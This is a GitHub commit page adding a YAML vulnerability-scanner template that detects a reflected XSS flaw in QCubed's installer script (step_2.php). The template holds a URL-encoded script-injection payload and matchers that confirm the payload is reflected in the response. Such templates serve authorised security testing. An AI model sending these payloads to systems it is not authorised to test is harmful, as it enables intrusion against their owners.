Merge pull request #2208 from pikpikcu/patch-216

Add qcubed xss
patch-1
Prince Chaddha 2021-07-27 11:59:12 +05:30 committed by GitHub
commit de8d8a0427
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 30 additions and 0 deletions

View File

@ -0,0 +1,30 @@
id: qcubed-xss
info:
name: Qcubed Reflected XSS
author: pikpikcu
severity: medium
reference: https://github.com/qcubed/qcubed/issues/1230
tags: xss,qcubed
requests:
- method: GET
path:
- "{{BaseURL}}/assets/php/_devtools/installer/step_2.php?installation_path=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
- "{{BaseURL}}/qcubed/assets/php/_devtools/installer/step_2.php?installation_path=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
words:
- '</script><script>alert(document.domain)</script>'
part: body
- type: status
status:
- 200
- type: word
part: header
words:
- text/html